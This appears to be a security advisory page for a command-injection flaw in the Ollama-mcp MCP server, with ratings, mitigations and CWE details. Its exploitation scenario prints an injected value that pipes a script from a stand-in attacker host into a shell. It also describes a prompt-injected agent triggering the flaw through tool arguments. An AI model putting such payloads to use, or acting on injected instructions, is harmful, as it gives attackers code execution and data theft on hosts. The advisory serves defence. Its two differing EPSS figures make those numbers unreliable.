CVE-2026-19334: Ollama-mcp: command injection via model args
MEDIUMOllama-mcp, an MCP (Model Context Protocol) server that exposes Ollama model management to AI agents, fails to sanitize the name/modelfile/source/destination parameters before using them in a shell command, allowing arbitrary OS command execution. The attack requires local, low-privileged access with no user interaction, and CVSS rates it medium (5.3) — CISA's SSVC decision is TRACK, the lowest urgency tier, and EPSS sits at just 0.6% (top 53rd percentile), with no public exploit or Nuclei template observed. The real concern for AI-heavy environments is the delivery path: this is an MCP tool callable by an LLM agent, so a prompt-injected or compromised agent could trigger the injection without a human ever running a shell command directly. There is no patch — the project ships as a rolling release with no version tags, and the maintainer has not responded to the issue report (opened against commit 80cf2e1). Until fixed, isolate any host running Ollama-mcp, avoid exposing its tool parameters to untrusted agent input, and monitor for anomalous child processes spawned by the ollama-mcp process.
What is the risk?
Objectively low-to-moderate priority by classic vulnerability management metrics: CVSS 5.3, local-only attack vector, no KEV listing, no observed exploitation, and SSVC TRACK. However, the practical risk is elevated in agentic AI deployments because the vulnerable parameters are exposed as MCP tool arguments rather than a direct shell prompt — meaning the effective 'attacker' can be an LLM agent acting on adversary-controlled instructions (e.g., via prompt injection) rather than a human with local shell access. Combined with an unresponsive maintainer and no versioned releases to pin against, organizations using this specific MCP server should treat it as unpatched indefinitely rather than expect a near-term fix.
How does the attack unfold?
How severe is it?
What is the attack surface?
What should I do?
1 stepNo official patch exists; the project uses a rolling release with no version tracking and the maintainer has not responded to the upstream issue (github.com/NightTrek/Ollama-mcp/issues/5). Recommended steps: (1) audit whether ollama-mcp is deployed anywhere agent input can reach the name/modelfile/source/destination tool parameters, and disable or gate those tools if so; (2) run the ollama-mcp process under least privilege (non-root, restricted filesystem access, no sensitive credentials in scope) and in a sandboxed/containerized environment; (3) monitor for unexpected child processes spawned from the ollama-mcp process (EDR/process-tree alerting); (4) pin to the reviewed commit and manually diff any future upstream changes for a fix, or fork and patch the shell invocation to use argument-array execution (e.g., execFile/spawn instead of exec/shell string concatenation) rather than shell interpolation; (5) apply standard local host hardening since the attack vector requires local low-privileged access.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-19334?
Ollama-mcp, an MCP (Model Context Protocol) server that exposes Ollama model management to AI agents, fails to sanitize the name/modelfile/source/destination parameters before using them in a shell command, allowing arbitrary OS command execution. The attack requires local, low-privileged access with no user interaction, and CVSS rates it medium (5.3) — CISA's SSVC decision is TRACK, the lowest urgency tier, and EPSS sits at just 0.6% (top 53rd percentile), with no public exploit or Nuclei template observed. The real concern for AI-heavy environments is the delivery path: this is an MCP tool callable by an LLM agent, so a prompt-injected or compromised agent could trigger the injection without a human ever running a shell command directly. There is no patch — the project ships as a rolling release with no version tags, and the maintainer has not responded to the issue report (opened against commit 80cf2e1). Until fixed, isolate any host running Ollama-mcp, avoid exposing its tool parameters to untrusted agent input, and monitor for anomalous child processes spawned by the ollama-mcp process.
Is CVE-2026-19334 actively exploited?
No confirmed active exploitation of CVE-2026-19334 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-19334?
No official patch exists; the project uses a rolling release with no version tracking and the maintainer has not responded to the upstream issue (github.com/NightTrek/Ollama-mcp/issues/5). Recommended steps: (1) audit whether ollama-mcp is deployed anywhere agent input can reach the name/modelfile/source/destination tool parameters, and disable or gate those tools if so; (2) run the ollama-mcp process under least privilege (non-root, restricted filesystem access, no sensitive credentials in scope) and in a sandboxed/containerized environment; (3) monitor for unexpected child processes spawned from the ollama-mcp process (EDR/process-tree alerting); (4) pin to the reviewed commit and manually diff any future upstream changes for a fix, or fork and patch the shell invocation to use argument-array execution (e.g., execFile/spawn instead of exec/shell string concatenation) rather than shell interpolation; (5) apply standard local host hardening since the attack vector requires local low-privileged access.
What systems are affected by CVE-2026-19334?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, model serving.
What is the CVSS score for CVE-2026-19334?
CVE-2026-19334 has a CVSS v3.1 base score of 5.3 (MEDIUM). The EPSS exploitation probability is 1.08%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0050Command and Scripting InterpreterAML.T0053AI Agent Tool InvocationCompliance Controls Affected
What are the technical details?
Original Advisory
A flaw has been found in NightTrek Ollama-mcp up to 80cf2e17cfc144963a475b619093a2d13c13dbc9. This affects an unknown part of the file src/index.ts. This manipulation of the argument name/modelfile/source/destination causes command injection. The attack can only be executed locally. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.
Exploitation Scenario
An attacker with local low-privileged access to a workstation or server running Ollama-mcp — or an AI agent that has been prompt-injected via untrusted retrieved content — invokes the MCP tool responsible for creating or copying a model, supplying a crafted modelfile or name value containing shell metacharacters (e.g., `; curl http://attacker.example/payload.sh | sh`). Because the parameter is passed unsanitized into a shell command in src/index.ts, the injected command executes with the privileges of the ollama-mcp process, giving the attacker code execution on the host. From there they can pivot within the local AI agent environment, exfiltrate locally stored models or data, or establish persistence.
Weaknesses (CWE)
CWE-74Improper Neutralization of Special Elements in Output Used by a Downstream ComponentPrimaryCWE-77Improper Neutralization of Special Elements used in a CommandPrimaryCWE-74Improper Neutralization of Special Elements in Output Used by a Downstream ComponentCWE-77Improper Neutralization of Special Elements used in a CommandCWE-74 — Improper Neutralization of Special Elements in Output Used by a Downstream Component: The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
- [Requirements] Programming languages and supporting technologies might be chosen which are not subject to these issues.
- [Implementation] Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:LReferences
Timeline
Related Vulnerabilities
CVE-2024-291210.0BentoML: RCE via insecure deserialization (CVSS 10)
Same attack type: Code ExecutionCVE-2026-2185810.0n8n: Input Validation flaw enables exploitation
Same attack type: Code ExecutionCVE-2025-512010.0smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Code ExecutionCVE-2025-5952810.0Flowise: Unauthenticated RCE via MCP config injection
Same attack type: Code ExecutionGHSA-vvpj-8cmc-gx3910.0picklescan: security flaw enables exploitation
Same attack type: Code Execution